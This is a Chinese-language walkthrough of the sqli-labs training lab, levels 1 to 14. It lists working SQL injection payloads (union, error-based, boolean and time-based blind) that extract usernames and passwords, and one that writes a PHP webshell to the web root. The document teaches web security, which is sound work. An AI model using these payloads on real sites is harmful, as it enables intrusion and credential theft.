目录

第一关,普通的字符型sql注入

第二关,普通的整数型sql注入

第三关,闭合为')的字符型sql注入

第四关,闭合为”)的字符型sql注入

第五关,报错语句sql注入

第六关,双引号闭合报错注入

第七关,获取shell权限

第八关,布尔盲注

第九关,时间注入

 第十关,双引号闭合时间注入


Less-1 普通的字符型sql注入

1.打开关卡,提示我们将参数id填入url中

2.我们填入?id=1可以得到以下页面,这是一个正常显示的参数为1时的页面

3.检测其是否存在sql注入漏洞,先加'尝试进行闭合,加入后发现其显示出了语法错误,加入--+注释网站代码中参数后面的内容,然后发现显示正常,则其存在字符类型的sql注入漏洞

 

4.确定其存在sql注入漏洞后,就要判断有几列,使用order by语句一个一个尝试,发现order by 3时显示正常,order by 4时显示错误,则其有3列。

5.用联合查询语句union select 1,2,3可以确定其回显位置,然后在回显位置输入查询语句查找我们想要获得的信息。(别忘了在参数1前面加-,主要是为了使参数变为一个不存在的参数,任何过大的数字或负数,以及小数,科学计数法数字都可以),在这里确定其回显位置为2和3

6.在2的位置输入database()可以查询到当前数据库名字是security

7.然后就要进行表名的查询,此处在2的位置用group_concat(table_name),3 from information_schema.tables where table_schema='security'语句进行查询,group_concat的作用是将查询出的表名显示到一行,不然只能显示第一个表名。这里的information_schema是存储着数据库名、表名、列的数据类型、访问权限等,所以这个语句是要从information_schema存储着的表名中查找出数据库名(table_schema)为'security'的表。此处可以查出有emails,referers,uagents,users 四个表。(注意此处的from开始,也就是查询的条件要放到回显点3后,放到所有的列最后面)

8.接下来就要查询表中列的名称,在同样的位置使用语句group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'查出有如下列名

9.最后直接查询当前数据库中表users的列的数据,此处语句为

group_concat(id,'~',username,'~',password),3 from users

 得出如下数据

Less-2 普通的整数型sql注入

和第一关一样,只不过参数类型为整数型,不用加1后的',其余语句都与第一关相同

Less-3 闭合为')的字符型sql注入

这一关我们在id位置输入1'后,发现抱报错语句中出现了)字样,没有',证明我们单引号闭合成功,但还需要一个)闭合,这里尝试加个“)”后发现参数附近没有报错了,则直接加--+注释后面内容,发现成功显示正常

接下来的步骤就与第一关中的步骤一样了。

Less-4 闭合为”)的字符型sql注入

这一题我们根据前面的经验多次尝试后,发现在1后加上“)时成功闭合,则接下来的注入步骤就与前面相同了。

Less-5 报错语句sql注入

1.这一关我们发现页面与前几关有些不同,它在正确时只会显示”You are in..."字样,我们尝试闭合后,发现为'单引号闭合,然后测试他的order by 数,发现与前面几关相同都为3列,然后直接进行联合查询。

2.结果发现无回显位置,但是在语句错误时发现有报错信息。

3.这时候,就要用到报错查询,详细的语句是这样的

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
4.其中updatexml() 函数的作⽤就是改变(查找并替换)xml⽂档中符合条件的节点的值
语法格式:updatexml(xml_document,XPthstring,new_value)
第⼀个参数:是字符串string(XML⽂档对象的名称)
第⼆个参数:是指定字符串中的⼀个位置(Xpath格式的字符串)
第三个参数:是将要替换成什么,string格式
Xpath定位必须是有效的,否则则会发⽣错误。我们就能利⽤这个特性爆出我们想要的数据
其中我们只需要把updatexml()中的第二个参数输入我们的查询语句就行,输入上面语句后会显示出如下页面
5.可以看到出现了我们要查询的数据库名,接下来就要按着之前的步骤查询表名,利用如下语句
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

6.成功查出表明后剩下的内容就和之前一样了

Less-6 双引号闭合报错注入

      这一关与第五关一样,只需要将'闭合改为"就好了

Less-7 获取shell权限

      当我们输入id=1,页面显示You are in.... Use outfile......当我们输入id=1'时显示报错,但是没有报错信息,这里可以使用布尔盲注,但是他说了use outfile,所以我们直接用shell。

      这⾥假设我们通过⼀些⽅法获取到了⽹站的根⽬录,尝试写⼊⼀句话⽊⻢且建议进⾏⼗六进制
转码...利用如下语句将一句话木马放到web的根目录下
?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d29
3b3f3e,3 into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

      这里利用了into outfile语句,其是输入一个内容到目标目录下生成的一个文件中,这⾥⽹站的⽬录要使⽤双斜杠不然会写不进去,第⼀个斜杠是转义的意思,写入成功后就可以直接访问并连接webshell。

Less-8 布尔盲注

      这一关没有报错信息,也没有回显位置,所以我们就要进行布尔盲注,首先猜测当前数据库中是否存在admin表,利用如下语句

?id=1' and exists(select*from admin) --+

      然后利用如下语句查询数据库名的长度,当猜测正确时页面就会正常显示,如果猜测错误就会显示错误,所以我们可以靠这个方法先确定数据库名的长度
?id=1'and length((select database()))>5--+

      最后确定数据库长度为8

      然后接下来就要确定数据库的名称了,用下面的语句
?id=1'and ascii(substr((select database()),1,1))=115--+

      其中的ascii是一种编码,substr(a,b,c)中的a是要截取的字符串,b是截取的位置,c是截取的长度。我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,我们可以使用布尔判断的方法不断去缩小他的字符范围,最后确定,这样我们可以很好确定数字根据数字找到对应的字符。下图是ascii编码转换对照表

      经过不断尝试我们确定了数据库第一个字符是s,剩下的一个一个尝试就好。

      确定了数据库名称之后(这里还是security),接下来就要确定第一个表的长度和第一个表的名称,步骤与查数据库时一样,利用语句

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

      判断字段名时使用

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
     布尔盲注是一个比较麻烦的注入方法

Less-9 时间注入

      这一关会发现我们不管输入什么页面显示的东西都是一样的,所以我们没法用布尔盲注,因为没有页面显示,我们就没法判断我们要查的东西是否正确,这一次,我们要用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。语句如下

?id=1' and if(1=1,sleep(5),1)--+
      他的意思是如果1=1,则网页加载5秒后恢复正常,否则执行1。这里我们先判断数据库长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+

      如果数据库长度大于9,则加载5秒,否则页面就不会有任何变化。接下来的步骤就与第八关布尔盲注中的一样了,把加载5秒当作判断正确,页面没变化当作判断错误就好,我将剩下的代码放这里
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
//逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
//判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
//逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
//判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
//逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
//判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
//逐一检测内容。

Less-10 双引号闭合时间注入

      这一关与第九关一样,只需要把单引号闭合换成双引号闭合就好

Less-11

      这一关我们发现页面与之前不一样了,变成了一个登陆的界面,我们在上面加什么参数都没用,所以我们直接在登陆框中尝试进行sql注入,先在框中输入1‘发现出现报错信息,然后输入1' or 1=1 #,这个布尔判断是一定正确的,点击提交后发现页面恢复正常,证明这里存在sql注入

      那么接下来的步骤就与之前相同了,只不过注释符号,列长度和注入位置变得不同了

Less-12

      这一关当我们输入1和1'时发现页面都没反应,然后尝试别的闭合方式,输入"发现页面报错,但是用#闭合后仍然报错,我们仔细查看报错语句发现有),那么我们尝试再加一个)闭合,发现成功闭合

      那么直接输入查询语句就好了

Less-13

      这一关与上面一样只不过闭合方式变为了')

Less-14

      这一关与上面一样只不过闭合方式变为了"
Less-15
Less-16
Less-17
Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐